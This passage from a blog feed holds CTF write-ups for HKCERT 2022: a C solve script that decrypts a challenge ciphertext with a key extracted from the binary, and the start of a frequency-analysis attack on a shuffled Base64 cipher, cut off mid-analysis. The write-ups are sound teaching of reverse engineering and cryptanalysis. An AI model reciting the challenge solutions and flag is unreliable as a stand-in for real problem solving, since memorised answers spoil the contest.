&lt;p&gt;To make our life easier (and also because of curiosity), let’s see if the encryption library is open-source. OSINT time! Googling “&lt;em&gt;charm.c uc_encrypt site:github.com&lt;/em&gt;” leads us to &lt;a href=&quot;https://github.com/jedisct1/dsvpn&quot;&gt;dsvpn&lt;/a&gt;, which links us to &lt;a href=&quot;https://github.com/jedisct1/charm&quot;&gt;charm&lt;/a&gt;. Both are GitHub repositories using the same charm.c as the challenge.&lt;/p&gt;
&lt;p&gt;The source gives us obvious clues we might’ve missed in our initial analysis. For example, the key should be 32 bytes long. This was quite helpful, as Ghidra for some reason grouped the 32nd byte apart from the first 31 bytes (took me a while to figure out what went wrong).&lt;/p&gt;
&lt;p&gt;Now that we have the source, we can use it directly for our solve script!&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token class-name&quot;&gt;uint32_t&lt;/span&gt; st&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Obtained from binary (static_key symbol).&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; key&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;xf2&#92;x9c&#92;x0b&#92;xf1&#92;xc5&#92;x1a&#92;x7e&#92;x65&#92;x75&#92;x80&#92;x23&#92;x6e&#92;x8b&#92;x74&#92;x38&#92;xbf&#92;x59&#92;x39&#92;x8a&#92;x1a&#92;x05&#92;xc6&#92;x43&#92;xfa&#92;x1d&#92;x57&#92;x82&#92;x0a&#92;xb9&#92;xc6&#92;xdc&#92;x50&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;// Obtained by decoding Base64.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; iv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;xe2&#92;x4f&#92;x76&#92;x18&#92;xd8&#92;xa3&#92;xa&#92;xaf&#92;xa8&#92;xbf&#92;xee&#92;xe6&#92;x5c&#92;xe9&#92;x4&#92;x1e&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; tag&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;xd0&#92;x5b&#92;x4c&#92;x60&#92;x6d&#92;x88&#92;x3f&#92;x18&#92;xff&#92;xa8&#92;x58&#92;x43&#92;xfc&#92;xd2&#92;xc6&#92;xac&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;xe4&#92;xa&#92;xf2&#92;xb3&#92;x96&#92;x3c&#92;x7a&#92;x9a&#92;x86&#92;xe1&#92;xa4&#92;x9e&#92;x45&#92;xc5&#92;xef&#92;x7f&#92;xe4&#92;x8a&#92;x96&#92;x13&#92;x4a&#92;x95&#92;x8&#92;xc8&#92;xdb&#92;x6c&#92;x7c&#92;xa2&#92;x34&#92;x6f&#92;xf4&#92;x37&#92;xae&#92;xd0&#92;x46&#92;x1&#92;xb2&#92;xd0&#92;xc&#92;x32&#92;xbb&#92;x3e&#92;xb6&#92;xf9&#92;xe6&#92;x51&#92;x5e&#92;x6e&#92;x14&#92;xb&#92;x97&#92;x5b&#92;x99&#92;xd&#92;xda&#92;x3a&#92;xf3&#92;xe0&#92;xd2&#92;x66&#92;xed&#92;xe8&#92;x7a&#92;xbc&#92;x6e&#92;xc&#92;xab&#92;xec&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;token function&quot;&gt;uc_state_init&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;st&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; key&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; iv&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;token class-name&quot;&gt;size_t&lt;/span&gt; len &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; res &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;uc_decrypt&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;st&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; len&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tag&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;result: %d&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; res&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;%s&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Since the state is initialised inside the endpoint, it is refreshed for each encryption. As long as we have the key and IV, we can recover the state. Finally, we decrypt the message and get the flag. That&#39;s all there is to it!&lt;/p&gt;
&lt;h2 id=&quot;final-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2022-cpp-harming-website/#final-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Final Remarks&lt;/h2&gt;
&lt;p&gt;This was a rather nice, relaxing C++ challenge. And yes, C++ is still charm.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;With C++ reverse challenges (and looking at large applications in general), it’s difficult to know what’s important because there are so many things to look at. But! It’s really helpful to know what’s &lt;em&gt;not&lt;/em&gt; important, because then you can filter those out and pay attention to things that matter.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;For example, if you see templates (the ever so familiar, pointy friends of ours), you can usually ignore everything in between. Normally they&#39;re the default anyway.&lt;/p&gt;
&lt;p&gt;Also, if there’s something to learn from this challenge, it’s that application developers should secure their secrets (e.g. with environment variables or config loaders). 😛&lt;/p&gt;
&lt;h2 id=&quot;solve-scripts&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2022-cpp-harming-website/#solve-scripts&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Scripts&lt;/h2&gt;
&lt;script src=&quot;https://gist.github.com/TrebledJ/ba53a8c720de910e0bdc55892171f76e.js?file=convert.py&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;https://gist.github.com/TrebledJ/ba53a8c720de910e0bdc55892171f76e.js?file=main.c&quot;&gt;&lt;/script&gt;
&lt;h2 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2022-cpp-harming-website/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h2&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;hkcert22{n3v3r_s4w_4n_c++_ap1_s3Rv3R?m3_n31th3r_bb4t_17_d0e5_eX15ts}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;It wasn’t. &lt;a href=&quot;https://trebledj.me/posts/hkcert-2022-cpp-harming-website/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;To be fair, one of the reasons C++ is powerful is because it’s both &lt;em&gt;performant&lt;/em&gt; and &lt;em&gt;expressive&lt;/em&gt;. And it’s expressive, because there can be a lot of hidden control flow. You can write one line of code which could be syntax sugar for twenty lines of code, and even more assembly. With C, it’s more straightforward (and simple). &lt;a href=&quot;https://trebledj.me/posts/hkcert-2022-cpp-harming-website/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>ctf</category>
        
          <category>reverse</category>
        
          <category>cpp</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>HKCERT CTF 2022 – Base64 Encryption</title>
        <description>Frequency analysis with a touch of heuristics.</description>
        <link href="https://trebledj.me/posts/hkcert-2022-base64-encryption/"/>
        <updated>2022-11-14T00:00:00Z</updated>
        <id>https://trebledj.me/posts/hkcert-2022-base64-encryption/</id>
        <content xml:lang="en" type="html">&lt;p&gt;The challenge looks deceptively simple. Chinese has over 50,000 characters. Base64 just has 64. So it should be easy right?&lt;/p&gt;
&lt;p&gt;Haha nope. It&#39;s not as trivial as I thought.&lt;/p&gt;
&lt;h2 id=&quot;description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2022-base64-encryption/#description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Description&lt;/h2&gt;
&lt;p&gt;200 points. 3/5 ⭐️. 6/311 solves.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;People said that base64 is an encoding, not an encryption. Did they have a misconception about that?&lt;/p&gt;
&lt;p&gt;If you believe that base64 is just an encoding, then convince me that you are able to &amp;quot;decode&amp;quot; the article (which is in English).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Regardless, the challenge author is kind enough to provide a clue in the description: the plaintext is an &lt;strong&gt;article&lt;/strong&gt; in &lt;strong&gt;English&lt;/strong&gt;. We’ll see how this helps us later on.&lt;/p&gt;
&lt;h2 id=&quot;analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2022-base64-encryption/#analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Analysis&lt;/h2&gt;
&lt;p&gt;We’re provided with an encryption script &lt;code&gt;chall.py&lt;/code&gt; (written in Python), along with the generated ciphertext &lt;code&gt;message.enc.txt&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The script first encodes the plaintext in English:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;encoded &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; base64&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;b64encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;message&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;decode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rstrip&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;=&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;...then &amp;quot;encrypts&amp;quot; it by mapping each Base64 character to another one:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;encrypted &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;join&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;charmap&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; c &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; encoded&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The script uses &lt;code&gt;random.shuffle&lt;/code&gt; without seeding. This means we can’t easily reproduce the character mapping (&lt;code&gt;charmap&lt;/code&gt;). We’ll need to try harder.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Although the script reads the plaintext in binary format (&lt;code&gt;open(&#39;message.txt&#39;, &#39;rb&#39;)&lt;/code&gt;), I’m banking on the clue that the plaintext is an English article—so hopefully there aren’t any weird characters.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So how do we go about cracking this? Brute-force will be undoubtedly inefficient as we have $64! &#92;approx 1.27 &#92;times 10^{89}$ mapping combinations to try. It would take &lt;em&gt;years&lt;/em&gt; before we have any progress! Also we’d need to look at results to determine if the English looks right (or automate it by checking a word list)—this would take even more time! Regardless, we need to find some other way.&lt;/p&gt;
&lt;h2 id=&quot;first-steps-elimination-by-ascii-range&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2022-base64-encryption/#first-steps-elimination-by-ascii-range&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; First Steps: Elimination by ASCII Range&lt;/h2&gt;
&lt;p&gt;Here’s one idea: since the plaintext is an English article, this means that most (if not all) characters are in the printable ASCII range (32-127). This means that the most significant bit (MSB) of each byte &lt;em&gt;cannot&lt;/em&gt; be 1. We can use this to create a &lt;strong&gt;blacklist&lt;/strong&gt; of mappings. For example, originally we have 64 possible mappings for the letter &lt;code&gt;A&lt;/code&gt;. After blacklisting, we may be left with, say, 16 possible mappings. This drastically reduces the search space.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2022-base64-encryption/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Since Base64 simply maps 8-bits to 6-bits, so 3 characters of ASCII would be translated to 4 characters of Base64.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Base64 maps three characters to four.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-is-so-cool-640w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-is-so-cool-640w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 640 / 320&quot; alt=&quot;Base64 maps three characters to four.&quot; title=&quot;Base64 maps three characters to four.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-is-so-cool-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-is-so-cool-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-is-so-cool-640w.webp 640w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 640px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Base64 maps three characters to four. (&lt;a href=&quot;https://www.tenminutetutor.com/img/data-formats/binary-encoding/base64.png&quot;&gt;Source&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;charset &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&#39;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get_chars_with_mask&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;m&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;Get Base64 chars which are masked with m.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;c &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; c &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;charset&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; m&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; m&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# List the 4 Base64 positions. We&#39;ll cycle through these positions (i.e. i % 4).&lt;/span&gt;
msbs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0b100000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0b001000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0b000010&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0b000000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Get impossible characters for each position.&lt;/span&gt;
subchars &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;get_chars_with_mask&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;m&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; m &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; msbs&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Create a blacklist for each Base64 char.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# e.g. blacklist[&#39;A&#39;] returns the set of chars which &#39;A&#39; can NOT map to.&lt;/span&gt;
blacklist &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; c &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; charset&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Loop through each char in the shuffled Base64 text.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; c &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;txt&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Ignore char mappings which have &#39;1&#39; in corresponding msb.&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# These can&#39;t map to a printable ASCII char.&lt;/span&gt;
    blacklist&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; subchars&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Invert the blacklist to get a dictionary of possible mappings.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# e.g. whitelist[&#39;A&#39;] returns the set of chars which &#39;A&#39; CAN map to.&lt;/span&gt;
whitelist &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;charset&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; v &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; v &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; blacklist&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;items&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We can check the mappings we’ve eliminated:&lt;/p&gt;
